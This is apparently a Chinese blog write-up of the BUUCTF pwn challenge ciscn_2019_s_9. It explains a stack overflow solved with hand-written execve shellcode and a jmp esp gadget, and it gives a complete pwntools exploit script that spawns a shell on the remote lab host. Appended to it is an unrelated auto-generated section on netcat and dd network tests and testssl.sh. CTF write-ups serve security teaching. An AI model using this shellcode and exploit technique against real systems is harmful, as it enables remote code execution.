[BUUCTF] ciscn_2019_s_9

本文讲述了如何利用栈溢出漏洞和特定汇编指令在未开启NX保护的环境下,通过编写0x14字节shellcode并精确调整ESP指针,成功实现shellcode执行的过程。涉及IDA Pro分析、pwntools使用和手工汇编技巧。

摘要生成于 C知道 ,由 DeepSeek-R1 满血版支持, 前往体验 >

一道好玩的shellcode题,先checksec一下发现啥都没开,甚至NX也没开,目测是写在栈上的shellcode。

扔进ida里面,主要就pwn和hint两个函数比较重要,main函数直接调用了pwn,pwn函数里面有一个栈溢出漏洞。这个溢出长度不是很长,由于last ebp和返回地址在我们能填充的范围中间,pwntools自带的shellcode是写不开的(印象里是写不开的),需要我们自己去写一个shellcode。

hint函数里面是一个asm,点开汇编发现有一个jmp esp,这个就很有用。

我们自己写的shellcode长度是0x14个字节,这个长度是可以放在last ebp之前的。接下来我们可以修改返回地址为jmp esp,当这条指令的地址被弹出是,esp会下移四个字节(+4),因此我们在构造payload的时候在返回地址后面加上一个sub esp 0x28让esp指针升高指向shellcode起始处,再加上一句jmp esp执行shellcode。

0x28这个值可以由gdb中直观的数据计算得到,当然脑力够用的话也是可以静态分析出来。

shellcode的写法在我之前的博客[BUUCTF]刷题:pwnable_start_Jmp.Cliff的博客-优快云博客有所提到。

 

 之后轻易拿到shell

exp如下:

from pwn import *

context.terminal=['tmux','splitw','-h']
context.arch='i386'

r=remote('node4.buuoj.cn',26547)
#r=process('/home/wjc/Desktop/ciscn_s_9')

shellcode=asm('\
                 xor ecx,ecx;\
                 xor edx,edx;\
                 push 0x0068732f;\
                 push 0x6e69622f;\
                 mov ebx,esp;\
                 mov al,0xb;\
                 int 0x80;\
                 ')

print(hex(len(shellcode)))

jmp_esp=0x08048554

payload=shellcode.ljust(0x20,'\x00')+4*'b'+p32(jmp_esp)+asm('sub esp,0x28;jmp esp;')

#gdb.attach(r,'b*0x08048531')

r.sendline(payload)

r.interactive()

 

### BUUCTF中的网络连接测试方法 在网络渗透测试竞赛(CTF)中,`nc`(Netcat)是一个非常强大的工具,可以用于多种用途,包括端口扫描、文件传输以及简单的客户端/服务器通信。如果目标是在BUUCTF环境中测试网络连接,可以通过以下方式实现: #### 使用 `nc` 测试基本网络连通性 为了验证目标主机上的特定服务是否可用,可以利用 `nc` 命令尝试建立到该服务的连接。例如,假设需要测试 MySQL 数据库的服务状态,则可以直接通过指定 IP 地址和端口号来完成此操作[^2]。 ```bash nc <target_ip> 3306 ``` 上述命令会试图打开与 `<target_ip>` 的 TCP 连接至端口 3306 上运行的服务。如果没有收到任何错误消息或者能够进入交互模式,则说明远程机器上存在监听于该端口的服务,并允许来自当前系统的访问请求。 #### 执行简易吞吐量检测 当iperf不可用时,还可以借助组合使用`dd` 和 `nc` 来执行基础的数据传输速率测量实验[^1]。具体做法如下所示: ##### 步骤一:设置接收方 在一台计算机作为数据接受者启动 netcat 并重定向输入流保存成临时文件。 ```bash nc -lvp 12345 > received_data.bin ``` 这里 `-l` 表示开启侦听模式;`-v` 提供详细的日志输出以便观察进程详情;而最后面定义的是自选开放等待传入链接的本地端口号(此处设为12345)。 ##### 步骤二:配置发送方 另一台设备充当资料提供源角色,在那里先创建一段固定大小的内容再经由管道传递给远端地址。 ```bash dd if=/dev/zero bs=1M count=10 | nc <receiver_ip> 12345 ``` 在此处我们运用 dd 工具生成连续零字节序列模拟实际负载情况,其中参数解释分别为: - `if=/dev/zero`: 输入来源于操作系统特殊装置节点 /dev/zero ,它持续不断地供应无穷尽数量级的 NULL 字符串; - `bs=1M`: 单次读取写入缓冲区尺寸设定为每批次一百万位元组即兆比特(MB),从而加快整体流程效率减少分片次数影响统计准确性; - `count=10`: 总共重复十回前述动作构成最终提交总量大约等于十个MB规模的信息包体。 完成后可通过对比两头各自记录下的时间戳计算得出平均上传速度数值指标。 #### 加密协议分析 对于涉及SSL/TLS保护机制的目标站点而言,单独依靠常规手段可能不足以全面评估其安全性状况。此时可引入专门设计用来枚举支持算法列表并查找潜在漏洞缺陷的专业软件——Testssl.sh 。凭借它的强大功能集可以帮助参赛选手快速定位那些过期失效或是已被证明不安全的加密套件选项进而采取相应措施规避风险隐患[^3]。
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值